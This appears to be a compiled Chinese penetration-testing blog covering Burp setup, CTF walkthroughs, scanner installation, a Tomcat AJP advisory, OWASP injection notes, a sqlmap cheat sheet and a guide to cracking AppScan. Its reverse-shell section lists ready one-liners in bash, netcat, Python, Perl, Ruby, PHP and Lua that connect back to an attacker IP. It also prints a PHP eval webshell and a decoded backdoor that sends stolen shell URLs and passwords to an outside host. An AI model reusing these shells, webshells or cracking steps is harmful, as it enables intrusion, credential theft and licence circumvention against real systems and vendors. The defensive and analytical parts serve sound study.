我们在渗透测试的过程中,经常会使用火狐或者谷歌去+burpsuite对站点进行测试,但是在测试的过程中burpsuite经常抓到火狐浏览器自身的数据包或者其他无用的数据包,这就对我们工作的效率大有影响,所以这里来告诉大家如何解决此类问题。
burp的历史数据包中,有大量的火狐请求包
针对火狐浏览器的解决方法
1.在firefox(火狐浏览器)地址栏中输入:
about:config
2.然后出现搜索框,搜索以下内容,双击将它设置成false。
network.captive-portal-service
该方法是通用的方法,通过设置burpsuite的拦截规则来实现。
添加规则
火狐浏览器正则表达式:(mozilla.com$|firefox.com$|firefoxchina.cn$)
这个表达式规则的意思就是不拦截请求域名以mozilla.com、firefox.com、firefoxchina.cn为结尾的请求。
设置好后,问题即可解决。
https://www.cnblogs.com/blili/p/10948331.html
CTF是啥我这里就不介绍了,最近在网上看到了一个CTFHUB的练习平台,感觉还挺好玩的,虽然靶场的环境还有问题,不过可以刷刷现在已有的题目玩玩。
网址:https://www.ctfhub.com/#/index
使用burp抓包,然后发送到repeater模块,将请求方式改为CTFHUB点击GO即可返回flag
使用burp抓包,然后发送到repeater模块,go一下,在请求的返回包中会发现一串数字,添加到request请求url路径的index.html前面在go一下,获得flag
使用burp抓包,然后发送到repeater模块,修改cookie的值,将admin=0改为admin=1,go一下,获得flag
开启环境,题目情况如下
下载附件,里面是密码TOP100
访问连接,发现是类似Tomcat的认证访问,所以使用burp抓包看看
burp抓包后发送到repeater模块go一下返回401未授权
将数据包发送到intruder模块
设置payload类型
设置第一个位置的payload
设置第二个位置的payload
设置第三个位置的payload
因为爆破的时候会将字符URL编码了,所以需要将那个选项去掉
开始爆破
打开链接发现是贪吃蛇界面,而题目考的是响应包源代码,想一下一般响应包都是网页源代码,所以这里是不是找查看源代码尼?
右击查看源代码,发现flag果然以注释的形式出现在哎源代码中。
打开链接
目录扫描
1 | python |
在下载下来的源码中找到flag
考点是
- git 泄露
- 查看历史记录:git log
- 切换版本: git reset 版本hash
- 对比两次提交 : git diff
解题
使用dirb进行扫描,发现存在.git目录,
使用githack工具将项目克隆到本地
工具地址:https://github.com/BugScanTeam/GitHack
注:这个有个坑,我一开始使用的
lijiejie
的GitHack
,git下来的源码没有.git文件夹,所以git log查看版本等命令都用不了,一开始我以为是环境出了问题,后来看到官方的writeup中使用的工具不是lijiejie
的,所以在github
中找了BugScanTeam
的工具进行使用
1.克隆到本地
2.查看提交日志信息
进入克隆的代码目录中,在此处打开cmd
命令行,输入git log
查看提交的日志情况,这里使用git bash打开也行。
3.版本对比
观察发现一共有三次提交,分别是init, add flag 和remove flag.
直接与add flag这次提交进行对比,命令是:git diff 2bba2d
注:abba2d是add flag这次提交的hash,会变化的。为什么,我也不知道(手动狗头)
4.拿flag
另一种官方解法
一样的套路,先探测是否存在.git目录,然后使用gitHack工具拉取代码
1.查看版本提交情况
发现和LOG一样,
2.版本对比一下
发下有个txt文件,那flag会不会在这个txt文件里面尼?
3.恢复文件
输入git stash pop恢复这个文件
4.拿flag
dir查看文件目录,发现txt文件恢复成功
使用notepad命令打开txt文件,拿到flag
另种解法
直接到stash目录下查看hash
然后使用git diff命令对比hash,和第一个LOG的做法思路一样
漏洞描述:
git是一套内容寻址文件系统,当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
漏洞风险
泄漏Web程序源代码,尤其是生产环境中的Web源代码是非常严重的,首先源代码中大概率包含了连接数据库的用户密码等敏感信息,其次非开源的商业代码可能就这样被他人窃取,再者有的站长可能为了方便管理留有Webshell之类的后门
漏洞修复
.git文件夹分析
git命令学习:传送门
githack工具原理
它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码。
https://writeup.ctfhub.com/Skill/Web/%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2/Git/83dcefb7.html
https://writeup.ctfhub.com/Skill/Web/%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2/Git/83dcefb9.html
漏洞描述
SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利
用.svn/entries文件,获取到服务器源码
###
在渗透测试的过程中,除了去手工测试以外,有时候还需要用扫描器来进行扫描测试,出了APPSCAN、AVWS、netsparker这样的大型扫描器,今天来给大家介绍另一款web扫描器Arachni。这款扫描器挺好用的,不过现在作者已经停止维护了。
Arachni是一个包含很多特性、模块化的、高性能的Ruby框架,目的是帮助渗透测试人员和管理者评估现代web应用程序的安全。Arachni是免费、源代码开源的,它支持所有主流操作系统,如:Windows、Mac OS X 、Linux,通过便携式可移植包的形式进行分发,使其满足即时部署的要求。Arachni可导出评估报告。
Arachni是一个能够满足很多使用场景的通用的安全扫描框架,范围覆盖非常广,既包括小到一个命令行指令的扫描,又包括高性能的网格扫描、脚本认证审计、多用户多web合作平台。此外,它简单的REST API使集成变得轻而易举。
最后,由于其集成的浏览器环境,Arachni可以支持高度复杂的web应用程序,这些应用程序大量使用JavaScript、HTML5、DOM操纵和AJAX等技术。Arachni为现代web应用程序技术提供一流的覆盖率、漏洞检测和准确性
下载:传送门
1 | #解压缩包 |
运行
arachni有两种运行模式,一种是web模式,一种是命令行模式
命令行模式
在bin目录下运行: ./arachni_console
web模式
在bin目录下运行: ./arachni_web
使用浏览器访问 http://localhost:9292/
账号密码
1 | #管理员账号密码 |
下载:传送门
解压
两种工作模式
本文中使用的是web应用模式,双击arachni_web.bat,在浏览器中访问http://localhost:9292/
1 | #管理员账号密码 |
使用大致流程图
扫描的过程突然报错
解决方法
在arachni-1.5.1-0.5.12/system/ environment 文件末尾下追加 export OPENSSL_CONF="/etc/ssl/"
然后重启服务,这里不知道如何重启服务,就直接重启电脑了
https://blog.csdn.net/a1766855068/article/details/89225657
https://blog.csdn.net/qiushisoftware/article/details/87085136
在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。
攻击者主机上执行监听:
1 | nc -lvvp port |
目标主机上执行:
1 | bash -i >& /dev/tcp/x.x.x.x/port 0>&1 |
注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
inux shell下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。
1 | exec 0&0 2>&0 |
1 | exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done |
攻击者主机上打开两个终端分别执行监听:
1 | nc -lvvp 4444 |
目标主机中执行:
1 | telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555 |
监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip
反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。
1 | rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p |
攻击者主机上执行监听命令:
1 | nc -lvvp port |
目标主机上执行:
1 | nc -e /bin/bash x.x.x.x port |
如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:
1 | rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f |
注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信
1 |
|
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
1 | perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
1 | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
1 | ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
1 | php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");' |
1 | public class Revs { |
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
注:以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击者ip,并且需要在攻击者主机上进行监听:
nc -lvvp 5555
上面提到的是常见的反弹shell的方式,肯定还有其他的方式,欢迎大家补充,这里也会不断的跟新。
https://www.bertramc.cn/2017/07/14/38.html
http://www.myh0st.cn/index.php/archives/237/
https://www.anquanke.com/post/id/85712
https://blog.csdn.net/wanzt123/article/details/81879599
昨天下午,xray团队爆出了Apache Tomcat的最新漏洞。
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而可以读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
Tomcat是Apache软件基金会中的一个重要项目,性能稳定且免费,是目前较为流行的Web应用服务器。由于Tomcat应用范围较广,因此本次通告的漏洞影响范围较大,请相关用户及时采取防护措施修复此漏洞。
CVE-2020-1938
CNVD-2020-10487
受影响版本
不受影响版本
利用fofa或者zoomeye网络空间搜索引擎可以大批量的搜索互联网上可能存在漏洞的主机。
然后使用xray扫描器进行搜索
1 | xray_windows_amd64.exe servicescan --target-file ip文件 |
使用xray扫描出来后,再使用脚本进行漏洞验证
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:
版本号 | 下载地址 |
---|---|
Apache Tomcat 7.0.100 | http://tomcat.apache.org/download-70.cgi |
Apache Tomcat 8.5.51 | http://tomcat.apache.org/download-80.cgi |
Apache Tomcat 9.0.31 | http://tomcat.apache.org/download-90.cgi |
如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施。
一:若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。
具体操作:
(1)编辑
1 | <Connector port="8009"protocol="AJP/1.3" redirectPort="8443" /> |
(2)将此行注释掉(也可删掉该行):
1 | <!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />--> |
(3)保存后需重新启动Tomcat,规则方可生效。
二:若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。
使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
1 | <Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/> |
使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
1 | <Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" /> |
http://blog.nsfocus.net/cve-2020-1938/
https://www.shungg.cn/post/290
考虑任何能够向系统发送不信任数据的人,包括外部用户,内部用户和管理员
攻击者利用有针对性的解释器语法发送简单的、基于文本的攻击,几乎任何数据源都能成为注入载体,包括内部来源
注入漏洞发生在应用程序将不可信的数据发送到解释器时,注入漏洞十分普遍,尤其是在遗留代码中,通常能在 SQL
查询语句、LDAP
查询语句、Xpath
查询语句、OS
命令、XML
解析器、SMTP
头、程序参数中找到,注入漏洞很容易通过审查代码发现,但是不容易在测试中发现,扫描器和模糊测试工具可以帮助攻击者找到这些漏洞
注入能导致数据丢失或数据破坏、缺乏可审计性或是拒绝服务,注入漏洞有时甚至能导致完全主机接管
考虑受影响的数据和运行解释器的平台的商业价值。所有的数据都有可能被偷窃,篡改和删除,会严重损坏企业的声誉。
一些常见的注入,包括:SQL、OS命令、ORM、LDAP和表达式(EL)或OGNL注入。所有的解释器的概念都是相同的。代码审计是最有效的检测应用程序的注入风险方法之一,然后就是对所有参数、字段、头、cookie、JSON和XML数据输入的彻底DAST扫描。组织可以将SAST和DAST工具添加到CI/CD过程中,以便于在生产部署之前对现有或检查的代码进行注入问题的预警。
防止注入漏洞需要将数据与命令语句、查询语句分隔开
最佳选择是使用安全的API ,安全避免使用解释器,或提供参数化界面的接口,或迁移到ORM或实体框架。
注意:当参数化是,存储过程仍然可以引入SQL注入,如果PL/SQL或T-SQL将查询和数据连接在一起,或者执行带有立即执行的exec()恶意数据。
使用正确的或“白名单”的方法,来恰当规范化输入验证的方法,可以有助于防止注入攻击。但是这不是一个完整的防御,因为许多应用程序在输入中需要特殊字符,例如文本区域或者移动应用程序的API。
对于任何剩余的动态查询,可以使用该解释器的特定转义语法转义特殊字符。OWASP的JAVA encoder和类似的库提供了这样的转义教程。
注意:SQL结构,比如:表名,列名等无法转义,因此用户提供的结构名是非常危险的。这是编写软件中的一个常见问题。
在查询中使用LIMIT和其他SQL控件,以防止在SQL注入是大量地泄露记录。
应用程序在SQL语句的构造中使用了不可信的数据。
1 | String query = "SELECT * FROM accounts WHERE |
1.8.2 场景2
1 | Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'"); |
同样的,框架应用的盲目信任,仍然可能导致查询语句的漏洞。(例如:Hibernate查询语言(HQL))
在这两个案例中,攻击者在浏览器中将“id”参数的值修改成:’
or’1’=’1
例如:
http://example.com/app/accountView?id=' or ‘1’=’1
这样查询语句的意义就变成了从accounts表中返回所有的记录。
更危险的攻击可能导致数据被篡改甚至是存储过程被调用。
攻击者可以获得数百万的有效用户名和密码组合,包括证书填充、默认的管理账户列表、自动的暴力破解和字典攻击工具,以及高级的GPU破解工具。会话管理攻击会容易被理解,尤其是没有过期的会话秘钥。
大多数身份和访问管理系统的设计和实现,普遍存在身份认证失效问题。会话管理是身份验证和访问控制的基础,并且存在于所有有状态应用程序中。
攻击者可以使用指南手册来检测失效的身份验证,但是通常会关注密码转储、字典攻击,或者在类似于钓鱼或者社会工程攻击之后,发现失效的身份认证。
攻击者需要访问几个账户,或者需要一个管理员账户就可以破坏我们的系统。根据应用程序领域的不同,可能会导致放任洗钱、社会安全欺诈以及用户身份盗窃、泄露法律高度保护的敏感信息等。
确认用户身份、身份验证和会话管理非常重要,这些措施可用于将恶意的未经身份验证的攻击者于授权用户进行分离。
场景1
应用程序不限制身份验证尝试,攻击者可利用密码字典进行装库攻击。
场景2
应用会话超时设置不正确,用户使用公共计算机访问应用程序,yoghurt直接挂你吧浏览器选项卡就离开,而不是选择注销,攻击者一个小时候使用同一浏览器浏览网页,而当前用户状态仍然是经过身份验证的。
https://github.com/PyxYuYu/MyBlog/issues/85
《OWASP TOP10中文手册》
###
这几天公司安排一个内部的众测任务,使用nessus扫描了以后没有发现什么漏洞,所以就安装下openvas来扫描试试。
OpenVAS是开放式漏洞评估系统,也可以说它是一个包含着相关工具的网络扫描器。其核心部件是一个服务器,包括一套网络漏洞测试程序,可以检测远程系统和应用程序中的安全问题。
OpenVAS**系统架构**
服务器层组件(建议都安装) | 客户层组件(任选其一安装即可) | 服务器层组件(建议都安装) | 客户层组件(任选其一安装即可) |
---|---|---|---|
OpenVAS-scanner(扫描器) | 负责调用各种漏洞检测插件,完成实际的扫描操作。 | OpenVAS-cli(命令行接口) | 负责提供从命令行访问OpenVAS服务层程序。 |
OpenVAS-manager(管理器) | 负责分配扫描任务,并根据扫描结果生产评估报告。 | Greenbone-security-assistant(安全助手) | 负责提供访问OpenVAS服务层的Web接口,便于通过浏览器来建立扫描任务,是使用最简便的客户层组件。 |
OpenVAS-administrator(管理者) | 负责管理配置信息,用户授权等相关工作。 | Greenbone-Desktop-Suite(桌面套件) | 负责提供访问OpenVAS服务层的图形程序界面,主要在windows系统中使用。 |
安装
apt-get install openvas
初始化
openvas-setup
注:这个过程有点长
检查安装结果
openvas-check-setup(如果出错,使用openvas-check-setup | grep FIX)
出现下图说明安装成功
创建用户
openvasmd –create-user 用户名
修改密码
openvasmd –user 用户名–new-password ‘新密码’
启动openvas服务
openvas-start(每次重启电脑都要重启服务)
访问网址
升级插件和漏洞库
方法一:
# openvas-feed-update //初始化安装,可以不用更新
方法二:
# greenbone-nvt-sync
# greenbone-scapdata-sync
# greenbone-certdata-sync
建议使用方法一进行升级。
安装完成后,openvas默认设置的监听地址为127.0.0.1,每次使用都只能用linux虚拟机打开浏览器通过https://127.0.0.1:9392来进行登录扫描,不如通过自己的电脑浏览器连接到openvas服务器直接进行扫描来的方便。
如果openvas安装在远程服务器或者虚拟机里面,则必须用服务器或者虚拟机打开浏览器来扫描,这样比较麻烦。用户更加希望,通过自己的电脑浏览器连接到openvas服务器,直接进行扫描。下面介绍配置外部访问的方法:
openvas新版本有两种方式控制openvas的开关,一种是服务的方式,一种是脚本的方式。
这种方式是通过openvas-start/openvas-stop脚本启动和关闭的,这两个脚本里调用的是service指令。启动openvas服务的脚本都存放在/lib/systemd/system下。
修改三个配置文件openvas-manager.service,openvas-scanner.service和greenbone-security-assistant.service,将配置文件中的监听IP由127.0.0.1改为0.0.0.0(相比于更改为openvas服务器的实际IP地址,改为0.0.0.0会更好,因为0.0.0.0代表本机的任意地址,适用于服务器有多个IP或者服务器IP有变动的情况)。具体操作如下
leafpad /lib/systemd/system/greenbone-security-assistant.service
(1)修改greenbone-security-assistant.service监听地址
(2)增加host 头主机地址(IP或域名)
解释:
如果不加主机头,访问时会出现以下错误。
1 | The request contained an unknown or invalid Host header. If you are trying to access GSA via its hostname or a proxy, make sure GSA is set up to allow it. |
(3)修改openvas-manager.service监听地址
1 | mousepad /lib/systemd/system/openvas-manager.service |
1 | #管理器:与接口通信,分配扫描任务,并根据扫描结果生成评估报告,默认端口为9390 |
(6)修改greenbone-security-assistant监听地址
1 | #访问web 端接口(gsad):访问opebvas 服务层的web 接口,默认监听地址为127.0.0.1,端口为9392 |
(7)重新加载systemctl
1 | #关闭openvas |
成功使用本机浏览器访问
新建扫描目标Configuration→Targets→New
Openvas扫描主机时可以手工输入,也可以通过文件导入。有默认配置好的扫描端口列表及存活测试,可根据实际情况下拉选择
端口扫描列表可以通过星型图标创建自定义端口扫描策略。
同样,通过星型图标可创建登录凭证。 在已知主机账号密码时可以进行登录扫描。
建立完扫描目标之后,需要建立扫描任务关联扫描目标。
建立扫描任务有两种方式:
(1)使用任务向导进行任务的创建
任务向导可以快速的建立并开启一个扫描任务;高级任务向导有更详细的选项,如登录凭证之类的信息;修改任务向导可以快速的选择之前创建的任务重新创建任务开启扫描。任务向导中没有填写的选项都按照设置(Extras→My Settings)的默认配置进行扫描任务配置。
(2)通过星型图标新建任务创建扫描任务,
星型图标新建任务创建扫描任务,内容较详细。
填写的内容可以根据实际的情况适当的增减,不需要都填写。
Openvas默认有配置好的扫描策略,如下图所示。
configuration–>scan configs
1 | Discover:只对目标系统进行发现扫描。 |
我们也可以根据我们的个人需求来定制扫描策略,操作如下。
点击configuration→scan configs→星型图标新建
选择好NVTs后保存为新的扫描策略。每一个family代表一种漏洞类型,该类型下会集成多个NVTS。Family旁有斜着(Grow)和横(Static)着的两种箭头,选择Grow意味着当openvas官方发布该Family下新的NVTS时,策略会自动添加新的NVTS,然而选择Static时openvas发布新的NVTS,则不会被添加的策略里面。
配置完后会在scan configs下多一个新建的扫描策略,在建立扫描任务时,选择该扫描策略就会使用该扫描策略进行扫描
当我们需要每天都对系统进行扫描时,OpenVas同样可以帮忙。Openvas可以设置定时扫描任务。点击Configuration→Schedules→星型按钮新建。
新建之后,填写以下内容进行配置。
完成之后在新建扫描任务的时候需要选择该schedule,在任务套用schedule后启动按钮会变成时钟,此后该任务就会开启定时扫描
https://blog.csdn.net/xlsj228/article/details/90766648
https://www.cnblogs.com/hftian/p/11017545.html
https://blog.51cto.com/linhong/2134910?source=drh
https://www.freebuf.com/column/160541.html
今日在合天网安的web课程中看到了分析菜刀后门的实验,然后就跟着实验做了一遍,正好可以学习一下如何分析软件的后门。
中国菜刀
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示
winsock expert
一个用来监视和修改网络发送和接收数据的程序,WinSock Expert可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据
UPX
UPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX 压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。
Wireshark
Wireshark是免费的网络协议检测分析程序。让您经由程序抓取运行的网站的相关资讯,包括每一封包流向及其内容、资讯可依操作系统语系看出,方便查看、监控TCP session动态等等。
PEID
一款专业很好用的查壳软件,几乎可以侦测出所有的壳,其数量已超过470 种PE文档 的加壳类型和签名,另外还可识别出EXE文件是用什么语言编写的,比如:VC++、Delphi、VB或Delphi等。
工具下载地址:
市面上的中国菜刀有很多版本,有些版本可能会被不发分析植入了后门,那么我们怎么知道自己使用的菜刀会不会被植入了后门尼?
那就来简单的分析下吧,
菜刀的文件类型.exe的可执行程序,那么就要分析改工具使用什么语言写的了。
通过peid等工具可以看出来是使用upx加壳了
在通过winhex查看下,同样显示也是upx加壳
既然加壳了,那就脱壳吧,使用upx脱壳
脱壳成功后在放入peid检测一下看看,得知使用vc++6.0开发的,用C++写的。
环境:
靶机:Windows server 2003 –192.168.1.134
攻击机:Windows 7–192.168.1.131
在靶机上写一个php一句话放在网站的根目录下,如caodao.php,内容为
1 | eval($_POST['chopper']); @ |
然后在攻击机上使用菜刀连接
成功连接上
开启wireshark监听本地的数据包,
过滤规则写ip.addr=192.168.1.131,然后返回菜刀,
输入netstat -an | find “ESTABLISHED”或者whoami这类cmd命令
然后在wireshark中找到靶机和攻击机的ip地址
给攻击机和靶机通信的数据包加上颜色,方便查看
找到靶机和攻击机通过HTTP协议通信的数据包,按下图操作,我们可以追踪tcp流来查看整个tcp数据交互过程
上面红色部分为攻击机POST提交控制命令的内容,下面蓝色部分为靶机返回结果
从红色部分我们可以看到一共有z0,z1,z2三个参数,我们使用burpsuite自带的decoder模块进行解码
可以看到红色部分的代码经过base64以及url的编码,我们解码看看
解码的顺序依次为url解码,然后再base64解码,得到明文
z0=@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“>|”);;$p=base64_decode($_POST[“z1”]);$s=base64_decode($_POST[“z2”]);$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;$r=”{$p} {$c}”;@system($r.” 2>&1”,$ret);print ($ret!=0)?”ret={$ret}”:””;;echo(“|<-“);die();
z1=cmd
z2=cd /d “C:\phpStudy\PHPTutorial\WWW"&netstat -an | find “ESTABLISHED”&echo [S]&cd&echo [E]
z1的值是cmd,
z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示
我们输入其他的命令的话,当然也是可以通过同样的流程进行分析
以上就是中国菜刀的流量通信的特征
了解了正常的菜刀是如何工作的,接下来我们看看被植入恶意后门的菜刀是怎样的。
为了与前一个菜刀的分析流程进行区分,我们这一步特地选用了另外一个菜刀,使用另外一个抓包软件进行分析。
打开菜刀,启动抓包软件WSockExpert,点击左上角的文件夹图标,选择caidao.exe,点击open即可
然后使用带后门的菜刀连接shell,连接虚拟终端执行命令
在winsockExpert中查看菜刀的通信数据
注:由于没有在网上找到带有后门的菜刀,所以下面的数据都是参考网上带有后门菜刀的数据
完整的post内容是:
1 | a=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwo |
被urlencode+base64了,看着有点乱,先urldecode下:
1 | a=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlM |
毫无疑问,我们需要分析的是z0这个被base64的部分,解码看看:
1 | @eval(base64_decode(*aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL |
后面一部分是熟悉的菜刀的代码,但前面为什么居然还有一段加密的呢,接着解,解出来的结果
1 | if($_COOKIE[*Lyke*]!=1){setcookie(*Lyke*,1);@file(*http://www.gooddog.in/Api.php?Url=*.$_SERVER[*HTTP_HOST*].$_SERVER[*REQUEST_URI*].*&Pass=*.key($_POST));} |
这里的http://www.gooddog.in/Api.php就是这个菜刀的后门地址。
HTTP_HOST就是我们拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是我们菜刀连接一句话时的密码
这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。
这样,我们就分析出了这个菜刀是存在后门的。
整个分析的过程,基本上没有什么难的地方。以后在网上下载一些报毒的文件,都可以这样来分析一下会不会被植入了后门,像前一阵子的phpstudy一样,引起了很大的风波。
http://www.hetianlab.com/expc.do?ce=85d14d4e-5b36-42b9-9415-453efa35de60
前几天在某公众号上看到了appscan-9.0.3.14版本出来了,于是便自己安装了一下,发现不是破解好了,就尝试使用以前版本的破解文件,成功破解了,不过有点小bug,后面再和大家说。
下载地址:百度云传送门 提取码: zt6a
下载后截图
点击安装程序开始安装
安装完成后打开发现没有.net框架。
安装.net框架,下载地址:https://dotnet.microsoft.com/download/dotnet-framework/net48?utm_source=getdotnet&utm_medium=referral
安装过程默认。
将下载的压缩包中的另个压缩包解压出来,复制里面的dll文件到APPscan的安装目录下
进入APPscan的默认安装路径,如果是自己自定义的目录的话,找到就行
1 | C:\ProgramFiles (x86)\IBM\AppScan Standard |
然后打开APPscan,按照下面的操作导入证书
破解完成
重启软件即可
在安装完以后,发现都是英文的,需要改成中文
点击菜单栏,tools->options
重启完成
小bug,每次启动都会提示跟新,关掉就行了,不影响使用。
sqlmap.py –update 更新sqlmap
sqlmap.py -h 查看帮助
sqlmap.py -u “http://192.168.0.158:8006/showproducts.php?id=13" 这里的-u参数就是注入点
sqlmap.py -u “http://192.168.0.240:8006/showproducts.php?id=13" –is-dba 当前用户权限 返回True的话为管理员
–dbs 列出所有数据库
–current-db 网站当前数据库
–users 查看数据库链接用户 %号分隔的话,是个公网ip 就可以随意访问
–current-user 当前数据库用户
–passwords 列出用户密码
–tables -D xycms 查表 -D 相当于 -database 相当于数据库
–tables -D xycms –count 多加的参数相当于统计一下,表里面的行数
–columns -T manage_user -D xycms 列字段,-T 表名 -D 数据库名
–dump -C m_name,m_pwd -T manage_user -D xycms 下载数据 -C 列名 逗号分隔
–dump-all 转存DBMS数据库所有表项目
–level 测试等级(1-5),默认为1
基本的步骤:读取数据库—>读取表—->读取表的列—->获取内容
-D 指定数据库
-T 指定表
-C 指定列
–dbms=mysql 指定数据库为mysql,也可以是 oracle mssql
以下四个需要管理员权限:
–users 枚举所有用户
–passwords 枚举所有用户密码
–roles 列出数据库管理员角色
–privileges 列出数据库管理员权限
列举数据库系统的架构:
sqlmap.py -u “http://192.168.0.240:8006/showproducts.php?id=13" –schema –batch –exclude-sysdbs
–schema 是列系统架构
–batch 默认选项执行,不需要再提示选项
–exclude-sysdbs 排除系统数据库
级别越高,检测的东西越多,确保全面性用高级别,一般用3,这个是从0开始,0-4,5个级别)
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,
你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,
GET和POST的数据都会测试,
HTTP Cookie在level为2的时候就会测试,
HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
-v 显示调试信息 有7个级别
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
